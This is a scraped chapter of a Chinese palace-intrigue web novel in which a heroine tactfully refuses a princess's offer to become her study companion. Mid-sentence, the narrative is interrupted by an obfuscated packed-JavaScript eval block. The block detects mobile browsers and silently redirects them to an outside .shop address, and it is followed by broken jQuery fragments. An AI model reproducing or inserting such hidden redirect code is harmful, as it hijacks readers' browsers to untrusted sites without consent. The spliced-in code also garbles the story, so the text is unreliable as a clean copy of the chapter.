文趣网 > 其他小说 > 姑娘今天又换人设了 > 18. 第 18 章
    暴雨如注,顷刻而落,细细密密的雨滴不停的敲打着桂花金黄的蕊,泥土雨水泥泞浑浊,唯有铺散一地的桂花成了唯一不凡的点缀。

    宫檐下挂着的风铃在雨中摇摆,清脆而含闷的声音夹杂在大雨之中。

    奢侈浮华的宫殿内,梁玉拂明艳的脸上满是不耐“皇兄,我已然听你的一而再再而三去接近沈雁回,可她并没有如你猜想那般急不可耐的要做我的伴读”

    “我一介公主,何苦要去讨好她,这宴会我不张罗皇兄自己看着办!”

    梁泽初讨好的拍了拍她的肩膀示意她不要生气,弯下腰放低了声音道“皇兄明白此事委屈了你,这不,南海新供奉上来的东珠,只此一盒,皇兄全都给你,就当做这一个多月来的弥补”

    宫女上前打开那小小的锦盒,锦盒之内一颗颗硕大而又圆润的东珠出现在梁玉拂眼前。

    东珠珍贵,每年能供奉来的也只有那么寥寥几盒,整个大梁除了皇后之外也只有她能有此殊荣。

    梁玉拂不为所动,依旧蹙着眉“这一个多月宴会我办了不下数十场,她虽次次都来,于我也算亲近但我总觉得”

    她回想每次相见,沈雁回虽然也同别人一样对她十分讨好,但久居上位在不同人的讨好和谄媚之中久了,自然能分辨出这其中的不同,虽然很是微妙,但她觉得这份微妙让她很不舒服。

    就好像,她知道你要做什么,还一副极尽配合的荒诞感。

    梁泽初道“莫要多想,她不过一乡野村姑,即便得到了父皇钦此县主的尊荣,但也无法改变她的出身,这种人皇兄见得多了”

    他说着,眼中闪过傲慢的不屑“只要给他们机会,这种人便会受宠若惊,拼了命不择手段得往上爬”

    “没有人能例外”

    梁泽初信誓旦旦,梁玉拂叹了一口气,妥协道“皇兄这次又要我做什么?”

    “前几次不过只是拉近距离,现在好处给的够多,是时候也让她献诚了”

    小雨淅沥,裹挟着夏日的沉闷的风飘飘扬扬的洒下来,泥土特有的味道在空气中弥漫。

    “这池荷花姑娘这月已经连赏三次了,到底有何可看?”

    沈雁回坐在廊下看着池塘内一朵又一朵娇嫩的荷花,笑道“谁知道呢”

    “我远远瞧着便觉得是县主,走近一看果然是天人之姿”

    恭维的声音响起,沈雁回转过头对视上一张热络的脸,她起身行了礼“王家妹妹来了”

    王西亭盈盈一笑,赶紧上前扶起沈雁回“县主不必如此”紧接着她又说“上次听闻县主想念旧时曾吃过的桂花糕,这不,我特意派人去青水镇寻人回来做的,县主尝尝是否是记忆里的味道?”

    沈雁回目露震惊,她拿起糕点尝了一口,霎时眼眶内便凝起了晶莹的泪,她没说话,只是一脸感激的握紧王西亭的手。

    王西亭会心一笑“瞧我,本是好意,却不曾想凭白又惹得县主伤心,是我该罚”

    还不等沈雁回继续说,身边陆陆续续不停的有人围过来展示着手里的东西。

    “县主,这是江南最为时兴的蜀锦,仅此一匹,县主瞧着可喜欢”

    “简直俗不可耐”有人反驳,接着那道反驳的声音又响起“县主还是看一看我这徽墨,墨香雅韵,一点如漆,万载存真”

    沈雁回被未在中间,周围是不同的世家贵女,她们浅笑言言你一言我一语的介绍着手里的好东西,她游刃有余的从她们手里接下东西转而递给一旁的樱桃。

    “多谢赵姑娘,这蜀锦我当真是喜欢的紧”

    “海姑娘的徽墨如此之好,我定要回去好好书写一番”

    她极尽所能的扮演着一个被恭维被讨好之人该有的得意与自满。

    “县主,五公主请您风波亭一叙”

    宫女突如其来的声音,打断了其乐融融的场面,沈雁回从容走出,对着宫女道“劳烦带路”

    沈雁回对着身后的人告别,转过身时笑容消减,随手接过樱桃递来的手帕,把一直含在嘴里的桂花糕吐在上面,

    她把手帕递给樱桃,在她耳畔小声道“一会见机行事”

    一个多月来该给的好处都已经给到,今日下着雨也要借着赏荷的名义邀她出来,想必此时是要她表忠心,站队了。

    宫女领着沈雁回来到风波亭前,手中的伞上前倾斜遮挡住屋檐下成串的水滴,沈雁回提着裙摆走到五公主身前行了一礼。

    “臣女见过公主”

    梁玉拂轻嗯了一声,抬手让她起来。

    沈雁回站直身体,大大方方的和梁玉拂对视,在梁玉拂略显不耐的目光中,笑说“公主今日换了新的口脂”

    梁玉拂眼眉微挑,不耐之色消散,她没回答,只道“坐下说话吧”

    “多谢公主”

    沈雁回刚坐下就接过宫女的手中的葡萄,殷切的说“我来吧”

    宫女下意识看了一眼梁玉拂,见她并无反应这才行了一礼转而退到一边候着。

    沈雁回拿过一旁的巾帕净了手,这才小心翼翼的剥着皮,颗颗饱满的深紫色葡萄被她剥去外皮之后又用银签剔了籽,放在玉碟之上亲自喂到梁玉拂唇边。

    梁玉拂张开口顺从的吃了进去,一连喂了□□颗,她才悠悠道“行了,余下的赏你了”

    沈雁回眉开眼笑“多谢公主,公主对臣女真好”

    这话说者无意听者有心,梁玉拂下意识别开眼不想看她清澈的眼眸,道“你喜欢就好”

    她又问“下月末你便要考核,此次考核可有把握”

    “臣女尽力,应当也是不差的”沈雁回道。

    反正听不听的懂,考核她都过不去。

    梁玉拂看向屋檐外的雨“想必你也听闻本宫要新寻一位伴读,你可有意做本宫的伴读”

    沈雁回一脸震惊,她赶紧站起身受宠若惊道“臣,臣女竟能入公主眼,实在是荣幸之至”

    这个反应早在梁玉拂意料之内,她眉眼倦倦带着上位者的轻视,不咸不淡道“下月考核之后,本宫自会安排你入宫”

    “可是,臣女怕这一身学问若入了宫怕是会给公主惹来非议”

    沈雁回的身世经历,她早已清楚“无碍,本宫有太傅所教,届时你也同本宫一起所学,定能日进千里”

    “臣女”沈雁回欲语还休,迟迟不能说出下半句。

    梁玉拂何其敏锐,她眯着眼带着审视的目光充满了压迫感“你不愿”

    这话不是反问,是一种须得让她遂心如意的提醒和威胁。

    风波亭内气氛骤然压迫,宫女头垂的更低连呼吸都在极尽克制,此刻,微弱的雨敲击瓦片的声音显得格外清晰。

    沈雁回连忙跪下,她低着头说“并非臣女不愿,实在是臣女学识浅陋不堪为公主伴读”

    梁玉拂不语,只是周身冷意森然,让人心生惧意。

    过了良久,她才慢慢吐出一句“整个大梁,你是第一个拒绝本宫的人”话里没有任何情绪,但依旧能让人冷不定的冒起一身冷汗。

    宫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777881|209733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    女们齐刷刷跪下,声音颤抖着高喊“公主息怒”

    天潢贵胄,身份高不可攀的梁玉拂,自小便长在权利最高层,她所求所要无一人敢说不,沈雁回此举算是彻底得罪了她。

    梁玉拂起身要走,刚迈出步子的裙角便被人从后给扯住,她皱眉转身要训斥就看到沈雁回通红的眉眼,眼泪像檐外的雨,一滴又一滴。

    “公主息怒”

    她哽咽着“不是臣女不愿做公主的伴读,只是臣女,只是我,我太懦弱了”

    沈雁回哭红了眼,两只手紧紧的攥住梁玉拂的衣摆,尽力克制着不哭出声“我流落在外十余年,回到上京后第一次吃饱饭,穿暖衣,我知道公主对我很好,很好,我理应答应公主,但是”

    “但是家中长辈对我也多方严苛,我不敢走错一步,我不想再吃不饱饭,也不想再受冻”

    沈行棋,只能拿你来挡剑了。

    梁玉拂依旧面无表情,她声音冷硬“你为县主,那些人又怎敢”

    沈雁回苦笑,眼波流转间尽是无尽的哀思与苦楚,她轻拭眼泪,语气嘲弄“我又算得了哪门子的县主,只有公主看得起我,认为我是,可在旁人眼里我不过只是一个运气好飞上枝头的野鸡,她们肯于我交好,都是因为公主器重我,若没有公主我什么也不是”

    “既如此,你为何还要拒绝本宫”

    沈雁回不言,只是慢慢松开了紧握裙角的手,她膝行后退两步,把头重重的叩在地面上,一下又一下,直至鲜血淋漓。

    她抬起头,额上鲜红的血落在洁白的衣裙之上,开出荼蘼的花,一字一句道“公主息怒”

    梁玉拂见她实在没有要辩驳的念头,一甩衣袖愤愤而去,待人走远樱桃这才赶紧上前把沈雁回给搀扶起来。

    她抬手颤抖的抚上沈雁回的额头“姑娘流血了”随着声音一起落下的还有眼眶里积蓄已久的泪。

    樱桃实在不懂,为何像姑娘这样好的人也要受此磨难,方才若不是沈雁回用眼神制止了她,她早就冲过来杀了梁玉拂。

    “我想杀了她”她道。

    沈雁回攥紧樱桃的手,脸上没有任何表情,她冷静且清晰的告诉樱桃“不要做傻事,这一局,才刚刚开始”

    梁玉拂不是那么好糊弄的,更何况她背后之人,他们不可能就这么轻易的放弃,只能系寄望于五公主真的厌恶极了她,这样或许还有转圜的余地。

    上京的消息总是快的惊人,上午惹得公主不快的消息,不过几个时辰的功夫就传便了整个太学。

    原先太学里那群围着她的世家贵女此时躲的要多远就有多远,恨不得从来都不曾认识她。

    沈雁回胆怯的在人群之中穿梭,所有人异样的目光如同刀子一般,让她眼圈红了又红,额头那一抹发带欲盖弥彰的向她们宣布确有此事。

    沈雁书快步赶来,搀扶着她摇摇欲坠的身体,道“回家去吧”

    她哽咽着,偏着头躲避探究嘲弄的视线,低声说“好”

    远处阁楼之上这一幕被尽收眼底,梁泽初握紧手中的杯盏,冷笑出声“真是个胆大的,竟敢拂了静安的面子,本王当真是小瞧了她!”

    “表哥莫气,这考核不是还未开始吗”

    梁泽初回头看向椅塌上那道慵懒的身形“君慎这是有法子了?”

    柳牧也像是醉了,眼梢眉尾都带着蛊人心魄的红,一双狐狸眼更是风情万种,他微微闭眼哼笑出声,说出的话却让人毛骨悚然“君要臣死,臣不得不死,殿下为君,她为臣”